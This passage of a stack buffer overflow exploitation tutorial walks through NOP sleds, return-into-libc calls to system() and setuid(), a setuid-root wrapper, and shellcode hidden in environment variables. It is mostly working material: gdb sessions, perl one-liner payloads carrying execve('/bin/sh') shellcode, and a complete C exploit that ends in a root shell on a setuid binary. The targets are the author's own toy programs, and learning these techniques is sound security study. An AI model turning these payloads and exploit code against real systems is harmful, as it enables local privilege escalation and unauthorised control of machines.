Now the stack layout after success execution:
 
                 32 bits
0xbfffffff ------------------------- -------------------------+
           |                        |  bof()                  |
           | char *string           |                         |
           |                        |                         |
           |------------------------|      NEW STACK FRAME    |
           | SAVED EIP (0xbffffc64) |<--+                     |
           |------------------------|   |                     |
           | SAVED EBP (0x80cd0bb0) |   |                     |
           |------------------------| --|---------------------|
           | SHELLCODE              |<--+   Malicous buffer   |
           |------------------------|   |     (272bytes)      |
           | A x 244                |   |                     |
           |------------------------|---+---------------------+
           |                        |
           |------------------------|
           | .text                  |
           |------------------------|
           | call bof() @ main      |
0x08040000 |------------------------|
           |                        |
           |------------------------|
           | shared libraries       |
0x08000000 |------------------------|
 
The NOP idea is simple. A NOP is an instruction that does nothing. 
It only takes up space. (Incidentally, the NOP was originally created 
for debugging.) Since the NOP is only a single byte long, it is immune 
to the problems of byte ordering and alignment issues.
The trick involves filling our buffer with NOPs before the actual payload. If
we incorrectly guess the address of the payload, it will not matter, as long
as we guess an address that points somewhere in a NOP sled. Since the entire
buffer is full of NOPs, we can guess any address that lands in the buffer.
Once we land on a NOP, we will begin executing each NOP. We slide forward over
all the NOPs until we reach our actual payload. The larger the buffer of NOPs,
the less precise we need to be when guessing the address of our payload.
Let's see:
 
(gdb) run `perl -e 'print "\x90"x244,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53
\x89\xe1\x99\xb0\x0b\xcd\x80","CCCC"'`
Starting program: /home/xgc/simple_stack `perl -e 'print "\x90"x244,"\x31\xc0\x50\x68
//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","CCCC"'`
 
Breakpoint 1, 0x08048404 in main ()
1: x/i $eip  0x8048404 <main+27>:       call   0x80483c4 <bof>
(gdb) c
Continuing.
 
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
1: x/i $eip  0x43434343:        add    %al,(%eax)
(gdb) x/128xb $esp
          .
          .
          .
0xbffffc30:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffc38:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffc40:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffc48:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffc50:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffc58:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffc60:     0x90    0x90    0x90    0x90    0x31    0xc0    0x50    0x68
0xbffffc68:     0x2f    0x2f    0x73    0x68    0x68    0x2f    0x62    0x69
0xbffffc70:     0x6e    0x89    0xe3    0x50    0x53    0x89    0xe1    0x99
0xbffffc78:     0xb0    0x0b    0xcd    0x80    0x43    0x43    0x43    0x43
 
Shellcode address can be now any address of NOP. Let's choice 0xbffffc38,
insert at our cdm line in GDB, in little endian format, and re-execute GDB.
  
(gdb) run `perl -e 'print "A"x244,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53
\x89\xe1\x99\xb0\x0b\xcd\x80","\x38\xfc\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /home/xgc/simple_stack `perl -e 'print "A"x244,"\x31\xc0\x50\x68
//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x38\xfc\xff\xbf"'`
 
Breakpoint 1, 0x08048404 in main ()
1: x/i $eip  0x8048404 <main+27>:       call   0x80483c4 <bof>
(gdb) c
Continuing.
 
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000c20 in ?? () from /lib/ld-linux.so.2
1: x/i $eip  0x40000c20 <completed.1+939226576>:        mov    %esp,%eax
(gdb) c
Continuing.
sh-2.05b$
  
Our shellcode was sucessfuly executed.
 
 

[ --- 5. Conclusion 
 
I've described the most known and basic stack overflow module. Different 
methods can be used if the buffer isn't big enough for the shellcode or
if some Stack protections are installed. Coming soon theses methods will
be described also.



[ --- 6. Objective 

Execute code when the stack has enable to don't execute code.
Execute code when buffer isn't big enough for the shellcode.



[ --- 7. Requisites 

Introduction to Local Stack Overflow (Basic Module).



[ --- 8. Introduction to Returning Into Libc 

Most applications never need to execute anything on the stack, so an obvious
defense against buffer overflow exploits is to make the stack non-executable.
When this is done, shellcode existing anywhere on the stack is basically
useless.

This type of defense will stop the majority of exploits out there, and it is
becoming more popular. The latest version of OpenBSD has a non-executable
stack by default.
Of course, there is a corresponding technique that can be used to exploit
programs in an environment with a non-executable stack. This technique is
known as returning into libc.

Libc is a standard C library that contains various basic functions, like 
printf() and exit(). These functions are shared, so any program that uses the
printf() function directs execution into the appropriate location in libc. An
exploit can do the exact same thing and direct a program's execution into a
certain function in libc. The functionality of the exploit is limited by the
functions in libc, which is a significant restriction when compared to
arbitrary shellcode. However, nothing is ever executed on the stack.



[ --- 8.1. Introduction to System Function 

A point of interest is how to get the argument to system function.
Essentially, what we do is pass a pointer to the string (/bin/sh) we want
executed. We know that normally when a program executes a function the
arguments get pushed onto the stack in reverse order.
It is what happens next that is of interest to us and will allow us to pass
parameters to system function.

First, a CALL instruction is executed. This CALL will push the address of the
next instruction (where we want to return to) onto the stack. It will also
decrement ESP by 4. When we return from a function called, RET (or EIP) will
be popped off the stack. ESP is then set to the address directly following
RET.

Now comes the actual return to system function. Called function assumes that
ESP is already pointing to the address that should be returned to. It is
going to also assume that the parameters are sitting there waiting for it on
the stack, starting with the first argument following RET. This is normal
stack behavior described at basic module. We set the return to system function
and the argument (in our example, this will be a pointer to /bin/sh) in those
8 bytes. When Called function returns, it will return into system function,
and its has our values waiting for it on the stack.

Now you need to understand the basics of the technique. Let.s take a look at
the preparatory work we must accomplish in order to make a Return to libc
exploit via system function:

   1. Get the address of system().
   2. Get the address of exit().
   3. Get the address of string "/bin/sh".


  
[ --- 8.2. Analysis of Vulnerable Source Code 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {

  char buff[4];

  if(argc != 2) {
    printf("Needs an argument!\n");
    exit(-1);
  }

  strcpy(buff, argv[1]);

  return 1;
}

This program allows anybody, who exceeds the bounds of the variable buff, to
overwrite data on the stack. It would usually be quite easy to write an
exploit for the above example program, but let's assume that at our system was
enabled a non-executable stack as a security measure.



[ --- 8.3. Getting Informations 

The location of the system and exit functions in libc must be determined. This
will be different for every system, but once the location is known, it will
remain the same until libc is recompiled.
One of the easiest ways to find the location of a libc function is to create a
simple dummy program and debug it.

#include <stdio.h>

int main() {

  return 1;
}


[xgc@knowledge:~]$ gcc -o dummy dummy.c -Wall
[xgc@knowledge:~]$ gdb ./dummy -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x804835a
(gdb) run
Starting program: /home/xgc/dummy

Breakpoint 1, 0x0804835a in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0x4005b810 <system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0x40046b00 <exit>
(gdb)

I ran gdb ready to debug our dummy program, and told to report breakpoint 
before running the dummy program.  By examining the report, I get the
location of the libc function system and exit in memory. However, we still
need to know how we can store the string "/bin/sh" in memory and
ultimately reference it whenever needed.

Maybe we could use an environmental variable to hold the string? Yes, an
environmental variable would be ideal for this task, so let's create and use
an environment variable called KNOWLEDGE to store our string ("/bin/sh").
But how are we going to know the memory address of our environment
variable and our string ? We can write a simple utility program to grab the
memory address of the environmental variable. Consider the following code:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {

  char *pointer;

  if(argc != 2) {
    printf("Usage: %s <variable>\n", argv[0]);
    exit(-1);
  }

  pointer = getenv(argv[1]);

  if(pointer == NULL) {
    printf("Environmental variable %s does not exist!\n", argv[1]);
    exit(-1);
   }

  printf("%s is stored at address 0x%08x\n", argv[1], pointer);
  
  return 1;
}

[xgc@knowledge:~]$ export KNOWLEDGE="/bin/sh"
[xgc@knowledge:~]$ gcc -o catch catch.c
[xgc@knowledge:~]$ ./catch KNOWLEDGE
KNOWLEDGE is stored at address 0xbfffffe2
[xgc@knowledge:~]$

So now, we have all necessary informations to exploit the vulnerable source
code given. The layout of our malicious buffer will looks like:

  |-------------------------------|-------------|------------|------------|
  |   data to overflow buffer     |   &system   |   &exit    |   /bin/sh  |
  |-------------------------------|-------------|------------|------------|

We choice exit address becouse this will be where system call returns. It's
just for a clean exploit effect.



[ --- 8.4. Returning Into system function 

With the informations, now we need to:

   1. Fill the vulnerable buffer up to the return address with garbage data;
   2. Overwrite the return address with the address of system();
   3. Follow system() with the address of exit(),
   4. Append the address of "/bin/sh" string.

[xgc@knowledge:~]$ gcc -o adv_stack adv_stack.c -Wall
[xgc@knowledge:~]$ gdb ./adv_stack -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) run `perl -e 'print "A"x10'`
Starting program: /home/xgc/adv_stack `perl -e 'print "A"x10'`

Program received signal SIGSEGV, Segmentation fault.
0x40004141 in _dl_dst_substitute () from /lib/ld-linux.so.2
(gdb) run `perl -e 'print "A"x12'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xgc/adv_stack `perl -e 'print "A"x12'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


EIP register was overwrite with buffer size: 12bytes.

So, process layout will looks like:

  |---------------------------|----------------|--------------|--------------|
  |            08 A's         |   0x4005b810   |  0x40046b00  |  0xbfffffe2  |
  |---------------------------|----------------|--------------|--------------|
        	   args           EBP                 EIP


[xgc@knowledge:~]$ gdb ./adv_stack -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disassemble main
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>:    mov    %esp,%ebp
0x080483f7 <main+3>:    sub    $0x18,%esp
0x080483fa <main+6>:    and    $0xfffffff0,%esp
0x080483fd <main+9>:    mov    $0x0,%eax
0x08048402 <main+14>:   sub    %eax,%esp
0x08048404 <main+16>:   cmpl   $0x2,0x8(%ebp)
0x08048408 <main+20>:   je     0x8048422 <main+46>
0x0804840a <main+22>:   movl   $0x8048554,(%esp)
0x08048411 <main+29>:   call   0x80482f8 <_init+56>
0x08048416 <main+34>:   movl   $0xffffffff,(%esp)
0x0804841d <main+41>:   call   0x8048308 <_init+72>
0x08048422 <main+46>:   mov    0xc(%ebp),%eax
0x08048425 <main+49>:   add    $0x4,%eax
0x08048428 <main+52>:   mov    (%eax),%eax
0x0804842a <main+54>:   mov    %eax,0x4(%esp)
0x0804842e <main+58>:   lea    0xfffffffc(%ebp),%eax
0x08048431 <main+61>:   mov    %eax,(%esp)
0x08048434 <main+64>:   call   0x8048318 <_init+88>
0x08048439 <main+69>:   mov    $0x1,%eax
0x0804843e <main+74>:   leave
0x0804843f <main+75>:   ret
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
(gdb) break *main+75
Breakpoint 1 at 0x804843f
(gdb) display/1i $eip
(gdb) run testing.
Starting program: /home/xgc/adv_stack testing.

Breakpoint 1, 0x0804843f in main ()
1: x/i $eip  0x804843f <main+75>:       ret
(gdb) run testing.
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xgc/adv_stack testing.

Breakpoint 1, 0x0804843f in main ()
1: x/i $eip  0x804843f <main+75>:       ret
(gdb) x/s 0xbffffffa-50
0xbfffffc8:      ".28.151.26 22"
(gdb)
0xbfffffd6:      "KNOWLEDGE=/bin/sh"
(gdb) x/s 0xbfffffd6+10
0xbfffffe0:      "/bin/sh"
(gdb) run `perl -e 'print "A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40","\xe0\xff\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xgc/adv_stack `perl -e 'print "A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40",
"\xe0\xff\xff\xbf"'`

Breakpoint 1, 0x0804843f in main ()
1: x/i $eip  0x804843f <main+75>:       ret
(gdb) continue
Continuing.
sh-2.05b$



[ --- 8.5. Setuid Call 

In a BugTraq post, Solar Designer suggested chaining libc calls so a setuid()
executes before the system() call to restore privileges. This chaining can be
done by taking advantage of the return address value that was previously
ignored. The following series of addresses will chain a call from setuid() to
system(), as shown in this illustration.

  |-----------------|-------------|-------------|---------------|---------------|
  |      garbage    |   &setuid   |   &system   |   setuid_arg  |   system_arg  |
  |-----------------|-------------|-------------|---------------|---------------|

The setuid() call will execute with its argument. Because it's only expecting
one argument, the argument for the system() call will be ignored. After it's
finished, execution will return to the system() function, which will use its
argument as expected.

The idea of chaining calls is quite clever, but there are other problems
inherent in this method of restoring privileges.

The setuid() argument is expecting an unsigned integer value, so in order to
restore root level privileges, this value must be 0x00000000. Unfortunately,
the buffer is still a string that will be terminated by null bytes. Avoiding
the use of null bytes, the lowest value that can be used for this argument is
0x01010101, which has a decimal value of 16843009. While this isn't quite the
desired result, the concept of chaining calls still important.

[xgc@knowledge:~]$ gdb ./dummy -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x804835a
(gdb) run
Starting program: /home/xgc/dummy

Breakpoint 1, 0x0804835a in main ()
(gdb) print setuid
$1 = {<text variable, no debug info>} 0x400c3850 <setuid>
(gdb) 

Now let's run again the program with informations about layout given:

[root@knowledge:/home/xgc]# chown root.root adv_stack
[root@knowledge:/home/xgc]# chmod +s adv_stack
[root@knowledge:/home/xgc]# exit
[xgc@knowledge:~]$ ./adv_stack `perl -e 'print 
"A"x8,"\x50\x38\x0c\x40","\x10\xb8\x05\x40","\x01\x01\x01\x01","\xe2\xff\xff\xbf"'`
Segmentation fault
[xgc@knowledge:~]$ ./adv_stack `perl -e 'print 
"A"x8,"\x50\x38\x0c\x40","\x10\xb8\x05\x40","\x01\x01\x01\x01","\xdc\xff\xff\xbf"'`
sh: line 1: in/sh: Permission denied
Segmentation fault
[xgc@knowledge:~]$ ./adv_stack `perl -e 'print 
"A"x8,"\x50\x38\x0c\x40","\x10\xb8\x05\x40","\x01\x01\x01\x01","\xda\xff\xff\xbf"'`
sh-2.05b$ id
uid=16843009 gid=1000(xgc) egid=0(root) groups=1000(xgc)
sh-2.05b$

The address of the setuid() function is determined the same way as before, and
the chained libc call is set up as described previously. As expected, the uid
is set to 16843009, but this is still far from a root shell. Somehow, a
setuid(0) call must be made without terminating the string early with null
bytes.



[ --- 8.6. Using Wrapper 

One simple and effective solution is to create a wrapper program. This wrapper
will set the user ID (and group ID) to 0 and then spawn a shell. This program
doesn't need any special privileges, because the vulnerable suid root
program will be executing it.

#include <stdio.h>
#include <stdlib.h>

int main() {

  setuid(0);
  setgid(0);
  system("/bin/sh");
}

[xgc@knowledge:~]$ export WRAPPER="./wrapper"
[xgc@knowledge:~]$ ./catch WRAPPER
WRAPPER is stored at address 0xbffffefa
[xgc@knowledge:~]$

So, process layout will looks like:

  |---------------------------|----------------|--------------|--------------|
  |            08 A's         |   0x4005b810   |  0x40046b00  |  0xbffffef2  |
  |---------------------------|----------------|--------------|--------------|
 	               args         EBP              EIP


[xgc@knowledge:~]$ ./adv_stack `perl -e 'print "A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40","\xf2\xfe\xff\xbf"'`
sh-2.05b# id
uid=0(root) gid=0(root) groups=1000(xgc)
sh-2.05b#



[ --- 8.8. Using Environment to Small Buffers 

Sometimes a buffer will be too small to even fit shellcode into. In this case,
the shellcode can be stashed in an environment variable. Environment variables
are used by the user shell for a variety of things, but the key point of
interest is that they are stored in an area of memory that program execution
can be redirected to. So if a buffer is too small to fit the NOP sled,
shellcode, and repeated return address, the sled and shellcode can be stored
in an environment variable with the return address pointing to that address in
memory. Here is the vulnerable piece of code, using a buffer that is too small
for shellcode:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {

  char buff[4];

  if(argc != 2) {
    printf("Needs an argument!\n");
    exit(-1);
  }

  strcpy(buff, argv[1]);

  return 1;
}

Because the buffer is only four bytes long, there is no space for shellcode to
be inserted. It must be stored elsewhere. One ideal candidate for holding the
shellcode is an environment variable.

execle() function has one additional argument, which is the environment that
the executing process should run under. This environment is presented in the
form of an array of pointers to null-terminated strings for each environment
variable, and the environment array itself is terminated with a null pointer.

This means that an environment containing shellcode can be created by using an
array of pointers, the first of which points to the shellcode, and the second
consisting of a null pointer.

Then the execle() function can be called using this environment to execute the
second vulnerable program, overflowing the return address with the address of
the shellcode. Luckily, the address of an environment invoked in this manner
is easy to calculate. In Linux, the address will be 0xbffffffa, minus the
length of the environment, minus the length of the name of the executed 
program. Because this address will be exact, there is no need for an NOP sled.
All that's needed in the exploit buffer is the address, repeated enough times
to overflow the return address in the stack.

Of course, this technique can also be used without an exploit program. In the
bash shell, environment variables are set and exported using export
VARNAME=value. Using export, Perl, and a few pairs of grave accents, the
shellcode and a generous NOP sled can be put into the current environment:

[xgc@knowledge:~]$ export SHELLCODE=`perl -e 'print "\x90"x10,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3
\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

Let's see where environment variable SHELLCODE is located inside GDB:

[xgc@knowledge:~]$ gdb ./adv_stack -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) run `perl -e 'print "A"x12'`
Starting program: /home/xgc/adv_stack `perl -e 'print "A"x12'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/128bx $esp
0xbffffad0:     0x00    0x00    0x00    0x00    0x24    0xfb    0xff    0xbf
0xbffffad8:     0x30    0xfb    0xff    0xbf    0x30    0x83    0x04    0x08
0xbffffae0:     0x00    0x00    0x00    0x00    0xd0    0xbc    0x00    0x40
0xbffffae8:     0x74    0xbd    0x14    0x40    0xa0    0x6c    0x01    0x40
0xbffffaf0:     0x02    0x00    0x00    0x00    0x30    0x83    0x04    0x08
0xbffffaf8:     0x00    0x00    0x00    0x00    0x51    0x83    0x04    0x08
0xbffffb00:     0xf4    0x83    0x04    0x08    0x02    0x00    0x00    0x00
0xbffffb08:     0x24    0xfb    0xff    0xbf    0x40    0x84    0x04    0x08
0xbffffb10:     0xa0    0x84    0x04    0x08    0x80    0xc3    0x00    0x40
0xbffffb18:     0x1c    0xfb    0xff    0xbf    0x00    0x00    0x00    0x00
0xbffffb20:     0x02    0x00    0x00    0x00    0x07    0xfc    0xff    0xbf
0xbffffb28:     0x1b    0xfc    0xff    0xbf    0x00    0x00    0x00    0x00
0xbffffb30:     0x28    0xfc    0xff    0xbf    0x55    0xfc    0xff    0xbf
0xbffffb38:     0x65    0xfc    0xff    0xbf    0x70    0xfc    0xff    0xbf
0xbffffb40:     0x91    0xfc    0xff    0xbf    0xa4    0xfc    0xff    0xbf
0xbffffb48:     0xad    0xfc    0xff    0xbf    0xe2    0xfe    0xff    0xbf
(gdb)
0xbffffb50:     0xed    0xfe    0xff    0xbf    0xff    0xfe    0xff    0xbf
0xbffffb58:     0x39    0xff    0xff    0xbf    0x4c    0xff    0xff    0xbf
0xbffffb60:     0x58    0xff    0xff    0xbf    0x66    0xff    0xff    0xbf
0xbffffb68:     0x71    0xff    0xff    0xbf    0x7a    0xff    0xff    0xbf
0xbffffb70:     0x89    0xff    0xff    0xbf    0x91    0xff    0xff    0xbf
0xbffffb78:     0xa9    0xff    0xff    0xbf    0xb5    0xff    0xff    0xbf
0xbffffb80:     0x00    0x00    0x00    0x00    0x10    0x00    0x00    0x00
0xbffffb88:     0xbf    0xfb    0xe9    0x07    0x06    0x00    0x00    0x00
0xbffffb90:     0x00    0x10    0x00    0x00    0x11    0x00    0x00    0x00
0xbffffb98:     0x64    0x00    0x00    0x00    0x03    0x00    0x00    0x00
0xbffffba0:     0x34    0x80    0x04    0x08    0x04    0x00    0x00    0x00
0xbffffba8:     0x20    0x00    0x00    0x00    0x05    0x00    0x00    0x00
0xbffffbb0:     0x07    0x00    0x00    0x00    0x07    0x00    0x00    0x00
0xbffffbb8:     0x00    0x00    0x00    0x40    0x08    0x00    0x00    0x00
0xbffffbc0:     0x00    0x00    0x00    0x00    0x09    0x00    0x00    0x00
0xbffffbc8:     0x30    0x83    0x04    0x08    0x0b    0x00    0x00    0x00
(gdb)
0xbffffbd0:     0xe8    0x03    0x00    0x00    0x0c    0x00    0x00    0x00
0xbffffbd8:     0xe8    0x03    0x00    0x00    0x0d    0x00    0x00    0x00
0xbffffbe0:     0xe8    0x03    0x00    0x00    0x0e    0x00    0x00    0x00
0xbffffbe8:     0xe8    0x03    0x00    0x00    0x0f    0x00    0x00    0x00
0xbffffbf0:     0x02    0xfc    0xff    0xbf    0x00    0x00    0x00    0x00
0xbffffbf8:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbffffc00:     0x00    0x00    0x69    0x36    0x38    0x36    0x00    0x2f
0xbffffc08:     0x68    0x6f    0x6d    0x65    0x2f    0x78    0x67    0x63
0xbffffc10:     0x2f    0x61    0x64    0x76    0x5f    0x73    0x74    0x61
0xbffffc18:     0x63    0x6b    0x00    0x41    0x41    0x41    0x41    0x41
0xbffffc20:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x00
0xbffffc28:     0x53    0x48    0x45    0x4c    0x4c    0x43    0x4f    0x44
0xbffffc30:     0x45    0x3d    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffc38:     0x90    0x90    0x90    0x90    0x31    0xc0    0x50    0x68
0xbffffc40:     0x2f    0x2f    0x73    0x68    0x68    0x2f    0x62    0x69
0xbffffc48:     0x6e    0x89    0xe3    0x50    0x53    0x89    0xe1    0x99
(gdb) x/3s 0xbffffc18
0xbffffc18:      "ck"
0xbffffc1b:      'A' <repeats 12 times>
0xbffffc28:      "SHELLCODE=\220\220\220\220\220\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200"
(gdb) x/s 0xbffffc28+10
0xbffffc32:      "\220\220\220\220\220\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200"
(gdb)

After finding the address where the environment variable SHELLCODE is located,
the command x/s is used to examine just that string. But this address includes
the string "SHELLCODE=", so 16 bytes are added to the address to provide an
address that is located somewhere in the NOP sled.

The debugger has revealed that the address 0xbffffc32 is right near the
beginning of the NOP sled, and the shellcode is stored in the environment
variable SHELLCODE. Armed with this knowledge, some more Perl,
the vulnerable program can be exploited, as follows.

[xgc@knowledge:~]$ ./adv_stack `perl -e 'print "\x32\xfc\xff\xbf"x3'`
sh-2.05b$



[ --- 8.9. Analisys of Exploit Source C Code 

Now let's check some exploit source C code:

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>


/* here is a shellcode variable */

char shellcode[] =

   "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
   "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


int main() {

/* we already know that eip is overwritten with 12bytes */

  char buff[12];

/* envp is an array of strings, conventionally of the form key=value, which are passed as environment
   to the new program. we've put shellcode there. */

  char *env[2] = {shellcode,NULL};

  int i, retaddr, *pointer;

/* here is our simple formula to get shellcode location */

  retaddr = 0xbffffffa - strlen(shellcode) - strlen("./adv_stack");

/* build a loop to add return address many times into the buff. (retx3) = 12bytes */

  pointer = (int *)(buff);
  for(i = 0; i < sizeof(buff); i += 4)
  *pointer++ = retaddr;

/* here execle executes the vulnerable source code with buff and the env at envp */

  execle("./adv_stack", "adv_stack", buff, NULL, env);

  return 0;
}

[xgc@knowledge:~]$ gcc -o exploit exploit.c -Wall
[xgc@knowledge:~]$ ./exploit
sh-2.05b$



[ --- 9. Conclusion 

Methods if the buffer isn't big enough for the shellcode or if some Stack
protections are installed have been described. With that, codes not need to
be at stack memory and can be bypassed using environmental variable address.